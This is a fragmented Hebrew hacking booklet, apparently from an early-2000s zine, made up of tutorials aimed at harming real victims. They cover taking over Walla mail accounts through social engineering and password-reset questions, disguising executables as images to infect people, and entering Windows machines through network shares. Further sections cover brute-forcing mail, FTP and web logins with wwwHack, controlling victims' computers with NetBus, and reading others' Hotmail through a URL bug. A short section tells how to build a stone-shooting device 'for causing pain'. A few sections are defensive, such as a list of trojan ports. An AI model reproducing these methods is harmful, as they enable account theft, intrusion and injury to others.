אני לא ילמד כאן איך לפרוץ! אני פשוט יסביר בדרך מתוחכמת איך לחשוף
סיסמאות של חשבונות דואר ,יומנים ,איכסון אתר שם ,וכל השרותים חינם שניתנים במנוע
החיפוש והפורטל הישראלי הגדול
www.walla.co.il
אתם צריכים לגלות את המזכיר סיסמא ואת התשובה
שאלות סיסמא נפוצות שאפשר להשיג תשובות בקלות שבדרך כלל אנשים ירשמו
בתור מזכיר:
יש אנשים שרושמים את הסיסמא שלהם בתור שאלת סיסמא ,יש אנשים שרושמים
איך קוראים לחברה או לחבר שלי 4 ,ספרות אחרונות של תעודת זהות ,מיספרי המזל
שלי (אם נגלה אותו זה כבר לא) ,טלפון ,שם ,מכונית ,מוסיקה ,מה אני שותה כל בוקר (ויש
מפגרים כאלה) במה אני עובד (עוד כאלה)ועוד.
את כל זה אתם יכולים לגלות תוך כדי ניהול שיחת צ'ט מסריחה -.כמובן שלא תשאלו
אותו ישר על זה! תנהלו שיחה תרבותית ,לאט לאט וכשתגיעו למזכיר סיסמא תשאלו
אותו.
ב .אם למישהו יש שם אימיל או שמארח אתר ואתם צריכים לפרוץ לו.
mail.walla.co.il
כניסה לחשבון אחר בדרך חוקית ללא כלים וללא ידע בפריצות.
מאיפה משיגים:
אתה צריך לשוחח קודם כל אם מי שיש לו שם חשבון באתר או למי שמאכסן שם אתר שבא
לך לפרוץ לו
225
איפה מוצאים אנשים כאלה:
טוב ,אז זה הולך כך ,זה יכול להיות חברים שלכם ,אחים ,קרובים או סתם חראות שאתם
מדברים איתם .מי שיש לו חשבון שם בקיצור
http://walla.co.il
!למי שלא יודע!
צעד א:
אז תשאלו אותו ,תוך כדי שיחה מה התאריך לידה שלו ,ואם אתם ב ICQאו משהו
כזה ,אז יכול להיות שבפריטי מישתמש שלו ,הוא רשם.
צעד ב:
רושמים את הכינוי שלו ,או את שמו ,יכול להיות שזאת הסיסמא ,אבל אני
לא מלמד כאן איך לפרוץ ססמא ,אלה איך לגלות מזכיר סיסמא .או תנסו .1234
צעד ג:
mail.walla.co.il
אם כן יופי!..+
האימיל שלו
fuck@walla.co.il
226
הוא יגידXXX :
הואX.X :
שלב ד:
רושמים שם מישתמש -כמו שאמרתי לכם ,ועושים " :שכחתי סיסמא"
רושמים שוב שם מישתמש ותאריך לידה ,ואז אישור או מה שיש שם
ואחר כך תיהיה השאלה שאם תענו נכון תקבלו סיסמא לחשבון הדואר.
תרשמו ,ותקבלו.
patcher
227
Adware
תוכנות רבות בימנו פועלות תחת רשיון .Adwareתוכנות אלו מתקינות רכיבים,
שמראים לנו פרסומות ויכולים גם לרגל אחרינו ( .)Spywareכך תסירו אותם.
השיטה הראשונה ,היא פשוט להסיר ידנית כל תוכנה ,שמציגה פרסומות .כדי להסיר תוכנה,
גשו ל.''Start'', ''Settings'', ''Control Panel''-
לחצו לחיצה כפולה על '' .''Add/Remove Programsסמנו את התוכנה ,שברצונכם להסיר,
ולחצו על ''.''Add/Remove
השיטה שניה והבטוחה יותר היא להשתמש בתוכנת סריקה ,שמשוטטת על הדיסק הקשיח
שלכם,
ומורידה את כל האזכורים לרכיב הפרסומת .את התוכנות השונות ,תוכלו להוריד מהקישורים
המצורפים.
שימו לב ,שתוכנות מסוימות לא יעבדו לאחר שהורדתם את רכיבי הפרסומות.
---------------------------------------------------------
קישורים:
OptOut: http://grc.com/files/optout.exe
AdAware: http://www.lavasoft.de/BINARY/awbin/aaw45.exe
patcher
228
אנונימיות
GOLGOLET
229
Faking File Transfer
אוקיי,
נתחיל ככה.
דבר ראשון תעלו את הקובץ הזה במסך מלא ,ככה זה יהיה יותר מובן ומאורגן.
רק תשאירו את השם של התולעת שלכם לשם של התמונה ,תעשו מ-ל-א רווחים ,ואז ,exe.ככה
שישאר הקובץ במצב .EXE
ועכשיו ,שתשלחו לו את הקובץ ,הוא יראה את זה כאילו זה רק Prison Hacker.jpgוהוא לא
יודע שזה !!EXE
חחח
עבדתם עליו.
230
תורידו את התוכנה MicroAngelo
ובתוכנה תעבדו את הסמל של הקובץ ה EXEלסמל של תמונה.
עכשיו ,שהאיש יקבל את הקובץ המזוייף ,שהוא חושב שזו תמונה ,הוא יקבל ,EXE
ועדיין ,תישאר לזה האייקון של התמונה ,אז הוא יעלה את הקובץ ,ואז המניאק חוטף "על
הפנים" ,את הוירוס שלכם.
יפה?
אם אתם רוצים תכינו את הקובץ לפני שלא יקח לכם שנה להכין אותו ועד אז הוא כבר יצא.
אז פשוט תעבדו על אנשים מניאקים בשינויי שמות וסמלים.
GOLGOLET
פריצה ל WINDOS
הרבה אנשים שואלים אותי איך לפרוץ למחשבים (וכמובן הם מתכוונים לווינדוס)...
----
אז במדריך הזה אני אלמד אותכם את זה ועוד כמה דברים חשובים.
המדריך יהיה כל כך מלא וכל כך מפורט ככה שאם אני אשמע תלונה אחת!!!!! באייסיקיו אני
ישתגע...
נא להיזהר!! לבטחונכם האישי!
תוכן
אין ניסים ונפלאות .אתם לא יכולים לפרוץ סתם ככה למחשב פרטי של ווינדוס
בלי קובץ ובלי שיתופים .אתם לא יכולים להשיג תוכנה שכזו עושה לכם ניסים
ואם אתם כותבים את האייפי של המחשב הקורבן ואז לוחצים על כפתור ,פרצתם...
לווינדוס אתם יכולים לפרוץ דרך שיתופים ואלו שלא יודעים משהו גם עם טרויאנים...
.2במדריך אני אלמד אותכם איך פורצים למחשב של ווינדוס דרך שיתופים.
זאת אומרת שאתם יכולים לפרוץ לאנשים שיש להם יענו "שכנים ברשת".
לכן אתם לא יכולים לפרוץ לכל אחד ,כי לא לכל אחד יש.
כשאתם פורצים דרך שיתופים זה כאילו אתם צופים במחשב שלו .אתם ממש
רואים את התיקיות שלו ואת הכל כמו שאתם רואים את שלכם...
והכל בלי קובץ!!
ככה תלמדו לפרוץ בצורה יותר מקצועית ולא בטרויאן)-: ....
כדי לפרוץ דרך שיתופים ("שכנים ברשת") אתם צריכים להתקין גם אצליכם שיתופים...
לא לא! לא התכוונתי לקנות מחשב נוסף ולחבר בכבל למחשב השני...
טוב ,אז איך עושים את זה?
(למי שיש כבר שכנים ברשת לא צריך לקרוא את הסעיף הזה)...
231
NetBeui
TCP/IP
Client for Microsoft network
איך מתקינים?
אני אפרט לכם כאן איך מתקינים כל פרט...
NetBEUI
TCP/IP
232
תפתחו את דוס ותרשמו .nbtscan 213.57.123.1-255
מה שזה עושה זה סורק שיתופים מ 213.57.123.1-ועד ל.213.57.123.255-
ככה שזה בטוח ימצא לכם הרבה דברים...
מופיעה לכם מין טבלה.
תחפשו מחשב שכתוב ליד השם שלו <! >serverוגם! שמצד הימני ל >server<-לא יהיה
רשום .unknown
כלומר אתם צריכים לחפש מחשב בטבלה שנראה ככה:
LIRON <server> LIRON
ולא
LIRON ><server unknown
.4תשיגו מחשב עם שיתופים בעזרת סריקה שלמדנו מקודם איך לבצע אותה
תפתחו מסמך טקסט בתיקיית ווינדוס שנקרא hosts.txt
תלכו להתחל>----הפעלה.
תרשמו שם .hosts.txt
במסמך הטקסט תרשמו משמאל לימין את האיי פי של המחשב המשותף.
תשמרו את המסמך.
תלכו להתחל>---חפש>---מחשב.
תרשמו שם את האייפי של המחשב הקורבן והמשותף.
אחרי כמה זמן זה ימצא לכם מחשב...
תלחצו פעמיים על המחשב וזה יפתח לכם את כל הדברים
המשותפים במחשב שלו ...גדול לא?
GOLGOLET
233
איך להשיג איי פי של אנשים דרך האייסיקיו
.1תעשו chatאיתם
.2תיכנסו לדוס ,תרשמו netstat -n
.3זה נותן לכם רשימה של איי פי .תבחרו את האיי פי שהפורט
שלו הוא לא 80או .21האיי פי שבחרתם הוא כנראה האיי פי של
הקורבן.
GOLGOLET
שיטה שניה
להוריד את התוכנה
IP Detector
ב:
http://www.reshet3000.com/ipdet.exe
HFM
234
ניהול קבצים ב FTP-דרך דוס
המדריך הנוכחי שאני מציג לכם הוא מאוד מקורי ובשום
אתר שאני מכיר לא מדברים על זה...
ככה שבאמת יתווסף לכם ידע חדש...
אוקיי...
נגיד שיש לכם אתר ב ...ממממ.IOL ...
ואתם רוצים להעלות את הקבצים של האתר שלכם ל.FTP-
אבל יש בעייה!!
כל התוכנות של ה FTP-שהשתמשתם בהם (נגיד )...נגמרו כי עבר 30יום!
אז מה עושים?
פותחים את ,MS DOS Promptמגיעים לתיקייה של האתר בדוס ע"י שימוש בפקודה .CD
למשל אם התיקייה של האתר שלכם במחשב היא:
c:\mysite
אז תרשמו בדוס
(תעשו Ctrl+Shiftבצד השמאלי של המסך לצפייה נכונה)
תרשמו ככה:
ftp server.com
ftp members.iol.co.il
235
עכשיו זה מבקש סיסמא:
תרשמו את הסיסמא שלכם ותלחצו אנטר.
אם עשיתם נכון זה אמור להודיע לכם ובסופו של דבר
יש לכם משהו כזה:
<>ftp
נכון?
אוקיי...
מידע טוב.
רושמים
put index.html
סתם לדוגמא...
אתם יכולים גם לשים
put blabla.zip
get index.html
רושמים ככה:
>rename index.html<enter
main.html
delete index.html
236
כדי לעבור לתיקייה אחרת בFTP-
פשוט תשתמשו בפקודה ....cd
אוקיי עכשיו אתם יודעים להעלות קבצים,למחוק קבצים ,לשנות את השם של הקבצים,
לעבסור לתיקיות רצויות.
יופי.
עכשיו אני אלמד אותכם עוד פקודות...
GOLGOLET
237
שימוש בכוח ברוטלי ב wwwHack-כדי לפרוץ לאתרים,
שרתי FTPולקוחות דואר אלקטרוני
כלים:
.1שכל
wwwHack .2
.3קריאה והבנת הטקסט על כוח ברוטלי
תוכן:
- accessזה כל מה שחשוב בתוכנה .כאן אתם יכולים לבחור איפה אתם רוצים לבצע את הכח
הברוטלי
ואיזה סוג של שרת אתם רוצים להתקיף.
238
- POP3נותן לכם אפשרות לגלות סיסמאות דואר אלקטרוני של אנשים.
תלחצו על האפשרות הזו .יש לכם שם תיבת טקסט ,שבה אתם רושמים את
שרת הדואר שמאחסן את תיבת הדואר של הקורבן .תרשמו את השרת.
יש לכם עוד משהו לעשות ...באגף usernameתבחרו באפשרות always use this
.:username
אם הדואר של הקורבן הוא ,niv@zahav.net.ilתרשמו בתיבה שמופיעה לכם
אחרי שבחרתם באפשרות
"תמיד תשתמש בשם המשתמש הבא" :תרשמו שם .niv
באגף ה password-תבחרו בפעם הראשונה באפשרות .read from this file
תלחצו אישור .תראו שזה תהליך שמתקדם לא איטי כל כך....
כי השתמשנו באפשרות ,read from this fileשזה אומר שהוא מנסה שמות
משתמש ממסמך טקסט.
אם זה הצליח למצוא ,זה אמור להודיע לכם .אם לא ,תשובו ותבחרו באפשרות
all possible combinationsבאגף ה .password-עכשיו תלחצו אישור.
תהליך זה יכול לקחת הרבה שעות ואפילו כמה ימים ,כי זה מנסה את כל
האפשרויות
שאפשר לכתוב בסיסמא (!!) .בסופו של דבר זה ימצא לכם את הסיסמא.
אז תפתחו חשבון ב outlook-או תוכנת דואר אחרת ,עם הסיסמא שבחרתם....
ככה שהדואר שישלחו לקורבן ,יגיע אליכם ....נחמד לא?
- FTP serverממש כמו האפשרות הקודמת ....רק שהפעם אתם רושמים ב host-את
שרת ה FTP-שאליו אתם רוצים להיכנס...
ואם נגיד אתם רוצים לפרוץ לאתר ב ,IOL-שכתובתו היא:
members.iol.co.il/avi
אז תרשמו ב hosts-את הכתובת members.iol.co.il :ובאגף הusername-
תרשמו .avi
השאר בדיוק כמו ההסבר הקודם של ה.pop3-
- HTML formזו השיטה המועדפת עלי כדי לגלות סיסמא של אתרים .הכנה
מוקדמת:
אם אתם רוצים לגלות את הסיסמא של אתר ב ,homestead-תיכנסו ל-
,homestead
ותעתיקו את הלינק של דף ה.login-
תיכנסו לאפשרות HTML formבתפריט ,accessושם תדביקו את הכתובת
שמקודם העתקתם-
הכתובת לדף ה .login-תלחצו על .click here to get automaticly info
אחרי שזה כותב לכם משהו בתיבות הטקסט ,תלחצו אישור .עכשיו זה מוביל
אותכם לחלון
המוכר שב ftp-וב pop3-השתמשנו בו .אם ה username-של האתר הוא
,kakaתרשמו kakaבאגף
ה .username-ואז אתם יודעים כבר מה לעשות לפי המשימות הקודמות....
239
בחירת התווים האפשריים לביצוע הכוח הברוטלי:
מהלינק הבא:
http://packetstorm.securify.com/Crackers/wwwhack.zip
תורידו משם .זו הגרסה הלא נעולה .תפתחו קודם את הקובץ patchואז
תלחצו על .wwwHack
את הקראק חפשו ב ,www.astalavista.box.sk-אתם תמצאו שם.
GOLGOLET
240
איך אפשר לגלות שיש עליך טרויאן בדרך מקצועית ,אפילו שהאנטי וירוס לא
מזהה...
כפי שאמרנו הטרויאן פותח פורטים ,והוא יוצר תקשורת עם מחשב מסוים.
עכשיו אני אלמד אותם פקודה נחמדה...
תוודאו שאתם מחוברים לאינטרנט וגם שאתם בתיקייה C:\Windowsאו בתיקייה של ווינדוס
אחרת...
אוקיי...
תקלידו את הפקודה הבאה:
netstat -a
241
TCP bla:138 bla:0 listening
תראו!
יש לנו פורט 31337פתוח!!
ומה זה אומר?
יש לנו פורט של BackOrificeפתוח!
זאת אומרת שיש לנו BackOrificeעל המחשב!
יופי...
עכשיו נחסל אותו...
---------------------------------------
The tHing
6000
NetBus 1.x
12345
NetBus Pro
20034
BackOriffice
31337
SubSeven
1243
NetSphere
30100
Deep Throath
6670
242
Master Paradise
31
Silencer
1001
Millenium
20000
Devil 1.03
65000
NetMonitor
7306
Socket23
5000
Socket25
30303
Gatecrasher
6969
Telecommando
61466
Gjamer
12076
IcqTrojen
4950
Priotrity
16969
Vodoo
1245
Wincrash
5742
Wincrash2
2583
Netspy
243
1033
ShockRave
1981
Stealth Spy
555
Pass Ripper
2023
Attack FTP
666
GirlFriend
21554
Fore
50766
)DeltaSource (DarkStar
6883
Kuang
30999
SennaSpyTrojans
11000
Backdoor
1999
WebEx
1001
UglyFtp
23456
TrojanCow
2001
TheSpy
40412
Striker
2565
244
Silencer
1001
RoboHack
5569
RemoteWindowsShutdown
53001
Prosiak 0.47
22222
ProgenicTrojan
11223
PortalOfDoom
9872
InIkiller
9989
IcqTrojan
4950
BladeRunner
5400
)Wingate (Socks-Proxy
1080
subseven
27374
dolly1.6
1016
dolly1.5
1015
GOLGOLET
245
tcp\ip
תקשורת tcp/ipכללית
מחשב מארח יכול להיות שרת ( - )serverשרת ממתין לבקשות ממחשבים מארחים אחרים
מציית לפקודות ומגיב עם נתונים או שלא מגיב
מחשב מארח יכול להיות לקוח ( - )clientלקוח שולח בקשות אל שרת לצורך ביצוע פעולה
לדוגמא:
המחשב שלכם שאתם קוראים ממנו את הטקסט הזה הוא לקוח
המחשב שלכם מגיש בקשת getלשרת webהשרת נותן לו קוד
והדפדפן שלכם מתרגם את הקוד לדפי htmlאו aspאו כל שפה
מחשב מארח יכול להיות נתב ( - )routerהתפקיד של הנתב הוא לבחון את כתובות היעד של
הודעות נכנסות
ולשלוח אותן למחשב הנכון-זה יכול להיות היעד הסופי או מחשב מקשר אחר
דוגמא:
פתחו חלון דוס והקישו
tracert yahoo.com
מה קרה?
המחשב שלכם הראה את רשימת כל המחשבים שהמחשב שלכם עובר כדי להגיע ליעד הסופי
כל אלא הם נתבים חוץ מהאחרון שהוא היעד הסופי
מחשב מארח יכול להיות מקשר לרשת ( - )gatewayהתפקיד של מחשב מקשר לרשת הוא
246
להעביר הודעות הלוך ושוב בין רשתות שאינן שקושרות בדרך אחרת
לעיתים קרובות רשתות אלה משתמשות בפרוטוקולים ו\או טכנולוגיות שונות
כתובת ip
212.32.9.231
המספר הכי גבוה בכל מספר הוא 255
כתובת אייפי מספיקה לאיתור מחשב ,היא דרושה גם לצורך איתור יישום מסויים במחשב
לדוגמא ,אם ההודעה הנכנסת היא בקשה לדף אינטרנט אז יש לנתב את כתובת האייפי
לתוכנית השולחת החוצה דפי אינטרנט
ftp - 21
telnet - 23זה פורט שנותן למשתמשים חשבונות שאלל ואז המשתמשים יכולים להריץ
פקודות יוניקס על השרת
- 25פורט דואר יוצא
whois - 43להאקרים הפורט הזה חשוב לאללה ....זהו פורט שנותן מידע על השרת
247
finger - 79זה פורט שאם הוא פתוח זה ממש ממש טוב להאקרים למיניהם פואט זה נותן
מידע על המשתמשים שעל הסרבר
- 80זה הפורט של httpכאילו דפי אינטרנט
- 110קריאת אי מייל
- 139הפורט של השיתופים
- 433פורט של httpsרשת httpמאובטחת
- 1080פורט שבדרך כלל משמש שרתי פרוקסי
- 6667הפורט של irc
כתובות ipמיוחדות
GOLGOLET
248
מושגים בסיסיים
טרוג'אן -טרוג'אן הכוונה תוכנת פריצה (השם הגיע מהתרגיל עם סוס
העץ ממלחמה עתיקה של הטרויאנים) ,בכל תוכנת פריצה קיימים שני קבצים
server.exeו client.exe
ה serverהוא הקובץ שצריך לשלוח למשתמש שרוצים לפרוץ אליו,ה client
זה הלוח בקרה ,בעזרת ה clientשל התוכנה אתה נכנס למחשב של מי שהפעיל
את ה server.exe
אי פי -זה מספר של משתמש בשרת .כל פעם שאתה מתחבר לשרת אתה מקבל
מספר אי פי חדש שבשביל לפרוץ למחשבך צריכים מספר אי פי.
רג'יסטרי - registery -זהו בעצם הלב של המחשב כל מה שנרשם במחשב נרשם בתוך
הרג'סטרי.
התוכנות שאתם מתקינים וכל הדברים שקשורים באופן עקיף או ישיר הם בעצם קשורים
לרג'סטרי למשל אם אתם קובעים דף בית מסויים הוא נירשם ברג'סטרי.
249
GOLGOLET
250
תפתחו אותו,
תרדו למטה ותבחרו בתוכנית פנקס רשימות
עכשיו תלכו לשורה האחרונה (שורה חדשה)
ותרשמו את האיי פי של הקורבן רווח שם המחשב
נגיד האיי פי של הקורבן 212.179.144.23והשם של המחשב שלו הואuser:
אז אתם רושמים:
user 212.179.144.23
אחרי שרשמתם
תלכו לקובץ (למעלה מצד שמאל)
ותעשו שמור
ואז איקס
מה שעשינו זה :הגדרנו את המחשב של הקורבן אצלנו.
טוב ,עכשיו שעשינו את הכל...
בא הרגע הכי כיף.........
לפרוץ לו סוף סוף!
עכשיו מה שאתם עושים זה:
נכנסים להתחל<<<< חיפוש<<<< מחשבים<<
ושם תרשמו את שם המחשב ()user
ותעשו חפש זה יקח כמה שניות ,עכשיו זה יראה לכם ציור של מחשב ואיי פי
פשוט תלחצו פעמיים על המחשב.
עכשיו אתם תגידו שאני אלוהים
וואי פרצנו לו למחשב
עכשיו אתם יכולים לעשות מה שאתם רוצים במחשב
(למחוק,לקחת לו את תוכנות שאתם רוצים,לשנות שמות של הקבצים,וכל מה שבא לכם)...
RESHET טוב זה היה המדריך שלי.מקווה שנהנתם.
3000
העלאת הודעות ארור למחשב בקלות
שלום לכולם,
זאת הכתבה הראשונה שלי ,אני מקווה שתהנו ,הפעם אני אסביר לכם איך אתם יכולים לעלות
למישהו הודעות ארור למחשב במקרה שיש לו ווינדוסXP NT WINDOWS2000 :
בשביל לעשות זאת צריך לעשות משהו נורא פשוט ,חומרים:
.1אייפי של הקרובן
.2ידיים
.3מחשב
אז ככה :לוחצים על התחל>-----הפעלה ושם כותבים את הדבר הבא:
( net sendהודעת הארור שאתה רוצה שתיכתב לדוגמא :שלום לך) (האייפי של הקורבן)
כמובן אין צורך לעשות סוגריים ,אחרי זה לעשות אנטר פשוט ולחכות עד שחלון הדוס יעלם
במקרה שאין
לבן אדם את הפירוול של האקס פי ההודעה תעלה ללא בעיה ,ואני מדגיש ,לחכות עד שחלון
הדוס
יעלם ואז הוא מקבל את ההודעה.
דוגמאnet send 127.0.0.1 hi stupid boy :
מקווה שתהנו.
RESHET3000
251
מקלע 1
חומרים:
•מספריים.
•בלון.
הוראות הכנה:
לוקחים את הבקבוק וגוזרים אותו בעזרת המספריים במקום שממנו מתחילה צורת המשפך שלו,
לאחר מכן מוציאים את הפקק ושומרים אותו (אולי תוכלו להשתמש בו לפצצות אחרות.)...
עכשיו אתם לוקחים את הבלון ומחברים את הפיה שלו לפיה של הבקבוק ככה שתעטוף אותו.
עכשיו אתם לוקחים את הגומיה ומלפפים אותה על הבלון והפיה ככה שהיא תחזיק את הבלון
חזק כדי שהוא לא ישתחרר.
לבסוף ,אתם לוקחים אבן קטנה (מומלץ לגרימת כאב) או איזה חתיכת פרי עבה (יש צמחים
כאלה שמגדלים פירות קטנים לא למאכל והם לא ממש כואבים אבל בכל מקרה חבר שלי
השתמש בהם.)...
252
ומכניסים אותה לבלון ,לאחר מכן אתם מותחים אותו ואז מכוונים ומשחררים .האבן תעוף רחוק
לאללה( .האבן חייבת להיות הרבה יותר קטנה מהפיה של הבקבוק בגלל זה מותר רק אבני חצץ)
GOLGOLET
253
אז ככה דבר ראשון פתחו נטבס יופיע החלון הזה
שימו לב לתיבת האי פי שמסומנת בכחול.
התחברות :אני מזכיר כאן שאי אפשר לפרוץ לכל אחד רק לכאלה שהפאט'ש של נטבס מותקן
אצלם אם תרצו לחבר מישהו לפאט'ש אני יסביר בסוף
אוקי אז לאחר שתלחצו על כפתור connectנטבס יכתוב למטה
""connect to 135.432.432.214 feb sun 20/9/01
זה יראה לכם שאתם מחוברים עכשיו בואו נראה מה אפשר לעשות.
254
Server adminאפשרות זאת שומרת את האי פי במחשב שלך
Open cd romפתח לקורבן את כונן הדיסקים נחמד להשתעשע
Show imageפתח תמונה במחשב הקורבן
Swap mouseתוקע את העכבר
Start progremנותן אופציה לפתוח קובץ פתחו וירוס אצל הקורבן
Msg managerשלח הודע בפורמט שאתה רוצה
Screendumpמפעיל מסך לבן ומעצבן
Get infoנותן מידע כל שהוא על השרת והסרוור
Port redirectמראה לך פורטים פתוחים אצל הקורבן
Play soundנותן אפשרות לפתוח קובץ וואב הקליטו קול שלכם
Exsit windowsאפשרויות כיבוי מחשב
Send texrשלח טקסט לקורבן
Active wnds
Mouse posמפסיק פעולת עכבר
Listen
Sound sysנותן לכם גישה לבקרת הסאונד של הקורבן
Server setupבקרת סרוור
Control mouseלחצו על אפשרות זאת והזיזו את העכבר אצל הקורבן יזוז גם העכבר
Go to urlרשום כתובת אתר ושלח את הקורבן לאתר אנטרנט
Key menegerאפשרות מקשים
File manegerגישה ללוח הבקרה !!!!!!!!
עד כאן ההסבר על האפשרויות הבטחתי שאני יכתוב על איך לחבר אנשים לפאט'ש של נטבס אז
הנה זה בא.
255
דבר ראשון תורידו את הפאט'ש של נטבס חפשו את זה באסטה לה ויסטה netbusזה ימצא כל
מה שקשור לתוכנה .
אז זה בערך משחק של 20 10שניות שמשחקים במשחק זה נחמד אבל בעצם מאחורי המשחק
החמוד מתנהל התקנת פורט יותר נכון המחשב שמשחק במשחק נהפך לכאילו שרת קטן שכולם
יכולים להתחבר אילו והפורט של נטבס הוא 12345אז תגידו למישהו עם הוא רוצה משחק
שלחו לו את הפאט'ש של נטבס ותהינו
GOLGOLET
256
באג ההוטמייל
אם יש לכם YESאז בטח שמעתם על ערוץ האינטרנט וההיי טק שמו האמיתי הוא:
.TECHTV
אז באיזה תוכנית אחת דיברו על הבאג של הוטמייל ,שוב נכנסתי לגוגל וחיפשתי וחיפשתי...
ובסוף מצאתי משהו ב-
www.astalavista.com
(אתר מצויין !)
קראתי את הטקסט והבנתי אותו ,ועכשיו אני יציג לכם את הדרך הידנית ואחר כך עם התוכנה
(יכול להיות שימושי)...
קודם כל ,אתם צריכים לדעת את השם משתמש של אותו הבן-אדם( ...זה לא קשה להשגה)...
והחלק הקל:
http://pv2fd.pav2.hotmail.msn.com/cgi-
bin/saferd?_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi
=%2dbin%2fgetmsg&hm___qs
%26msg%3dMSG998047250%2e22%26start%3d9702%26len%3d9687%26raw
%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26login%3dusername
%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com
הסבר:
= USERNAMEשם המשתמש...
= MSG943322803%2e16זה המספר של ההודעה (במהשך נדון בזה)...
http://lw14fd.law14.hotmail.msn.com/cgi-
bin/saferd?_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi
=%2dbin%2fgetmsg&hm___qs
%26msg%3dMSG998047250%2e22%26start%3d9702%26len%3d9687%26raw
%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26login%3dusername
%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com
=Xמספר כלשהו
257
החלק הקשה זה לנחש את מספר ההודעה .....לשם כך יש את התוכנה...
http://astalavista.com/hacking/password/hobo04r2.zip
אני לא אחראי לשום נזק שייגרם בכל צורה ובכל דרך מכל אחד בכל מקום !
כל מה שאתם עושים על אחריותכם!
הוטמייל בודקת את האיפים שנכנסים לקרוא אימייל!
אם נדפקתם זה אשמתכם אני לא אחראי!
אני לא גיליתי את הבאג הזה אם אתם רוצים לקרוא עוד לכו לאסטה לה ויסטה !
www.astalavista.com
HaSaTaN
258
פ-ר-י-צ-ה ל-א-ת-ר-י-ם!!!
כל אתר בעולם walla goop google ,כולם! שייכים לקבוצה אחת של קבצים ,כל הקבצים של
האתרים מאוחסנים על שרת!
כשאתה בא ל explorer -ומקיש כתובת כל שהיא ,ה explorer -בעצם פותח את הקבצים
שמאוחסנים על השרת.
ישנם כל מיני שרתים ,יש שרתים מסוג iisויש עוד הרבה סוגי שרתים!
כמעט לכל שרת ,ישנו באג (באג תכנותי ,או מקום שניתן לנצלו לצורך חדירה לתוך האתר),
ה"באג" הזה נקרא אקספלויט (הכתבה הבאה ,תעסוק באקספלויטים).
נגיד שפתחתי את האתר wallaמה קורה? בואו נראה שלב שלב!
כפי שאני מניח ששמתם לב ,השרת מזהה אתכם ואת מספר ה Ip -שלכם ,בכתבה שנקראת
proof-pcתלמדו איך להסתיר את עצמיכם!
259
נכון חיכיתם לזה??
נכון ,נכון?
אז בגלל שאתם ל כך רוצים להמשיך הנה האינדקס של "כתבת -המשך -על -פריצה -
לאתרים":
.1מהו האקספלויט ()exploit
.2איך הוא עובד
.3דוגמא לאקספלויט פשוט
.1
האקספלויט תרגומו "ניצול" ,ומיד אתם תבינו מדוע ,אז כפי שהסברתי בגיליון הקודם נגיד יש
שרת מסוים ,לעניינינו ,iisמנהל השרת הזה היה מאוד טיפש ,יותר טיפש מהחרא שלי ,בכל
מקרה ,מה שהוא עשה זה השאיר פתח ( )exploitכל כך גדול שילד בן 3יכול לפרוץ אליו!
מה שהוא עשה היה פשוט ,מאוד הוא נכנס לשרת ,בתור משתמש אנונימי ( ,)anonymousאל
תדאגו אני כבר אסביר.
ישנה אפשרות ,שנפוצה במיוחד בשרתי FTPלהיכנס באופן אנונימי (ללא הכנסת זהות) ,בשביל
הרישום של התנועות בשרת השרת מבקש ממך את האימייל (דוא"ל) בתור שם משתמש.
אז שרת אחד ,בשם IIS 4.0 vהשאיר פתח כזה שמאפשר את הכניסה אנונימית (חחח )...איך
אומרים" :המחשב לא טועה אלא אם זה מייקרוסופט."...
אז כמו שהבאתי את הדוגמא הזאת ,ישנם כמה סוגי אפשרויות לניצול השרת.
.2
,okאז ככה:
בעצם אנו מריצים את האקספלויט על השרת כך שהשרת מקבל את הפקודות דרך השאלל
שלכם (כתבה על שאלל מובאת בגיליון הזה ,חובה לקריאה) לאחר שהעלתם את האקספלויט ל-
boxשלכם (תקראו את הכתבה של השאלל).
האקספלויט כתוב בשפת cאו ,c++לאחר ההרצה בד"כ ,אם האקספלויט עובד כראוי הוא אמור
לפגוע איך שהו בשרת ,בד"כ נוהגים לדרג את רמת הפגיעה מ + 1-5 :הסבר לפגיעה ,לדוגמא,
אם תמצא אקספלויט -יהיה כתוב לידו ( 4לדוגמא) ו -גם את פגיעתו לדוגמאyou'll get ,5" :
( "root pozitiveפירוש ,5" :אתה תקבל עמדת שולט") ,כמובן שכזאתי פגיעה אינה כ"כ
נפוצה.
.3
לאחר שתלמדו cאו c++תלמדו איך לתקשר אם השרת ,דרך בניית האקספלויט (שבעצם יכול
להיות לא אקספלויט אם הבנתם) ,תדעו לבנות אקספלויטים ,בכל מקרה אני אתן דוגמא
באנגלית מדוברת ,אני יודע שזה מצחיק אבל זה יעזוא לכם להבין:
*\
הפקודות הם לא הפקודות האמיתיות של cאו ,c++הם רק דומגא קלילה.
\*
260
שואלים למה?
בואו קודם נראה מה האקספלויט הקטן שלנו עשה ,דבר ראשון הזדהינו כאנונימיים (דבר שהוא
כל כך הגיוני בשרתים רגילים ,אבל אם מצאתם את האקספלויט הזה לשרת מסוים כנראה
שבשרת הזה ישנה את האפשרות לכניסה אנונימית) ,הפקודה helloמזהה אותנו כאנונימיים
(בינתיים ,עד שלא נציג זהות אחרת) ,עכשיו הוא יעתיק את כל הקבצים החשובים בשבילנו (
pwlהינם קבצים שבהם מאוחסנים ססמאות) ואז נצטרך לפצח את ה-קבצים אם כוח ברוטלי (
,)brutal - forceדבר שלא בטוח שנצליח בהתחשב בכך שזה קבצי pwl -ו log -של שרתים ולא
של מחשבים רגילים ,אז רמת האבטחה תהיה הרבה יותר גדולה.
HaSaTaN
261
SSL
**
*
**
*
שאלות נפוצות:
ש :איך אני יודע אם האתר שבו אני קונה דבר מסויים מוגן ע"י פרוטוקול הגנה מסוים?
262
ת :זה די פשוט ,או שה-דפדפן יודיע לך במין הודעה כזאת ,או שתראה בתחתית המסך סימן של
מנעול צהוב!
אם אין את אחד מהדברים הנ"ל צא מהאתר מיד!!!
HaSaTaN
.3אל תספר לאמא'שך (אמא שלך ,בסדר ,שיהיה אמא שלך יא חנונים) שאתה יודע משהו על
האקינג!
היא תהרוס לך את הקריירה שעוד לא בנית!
.5אם אתה נכנס לאתר של האקרים ,תדאג טוב טוב ,שזה יהיה האתר שלי! (הכתובת למעלה).
.6אם אתה ליימר ,עוף לי מהעיניים ,ואל תיכנס יותר לאתר הזה.
.7אל תיכנס לאתר שלי עם מסטיקים ,זה נדבק לי ל ftp -ואחרי זה האתר שלי נראה מלוכלך!
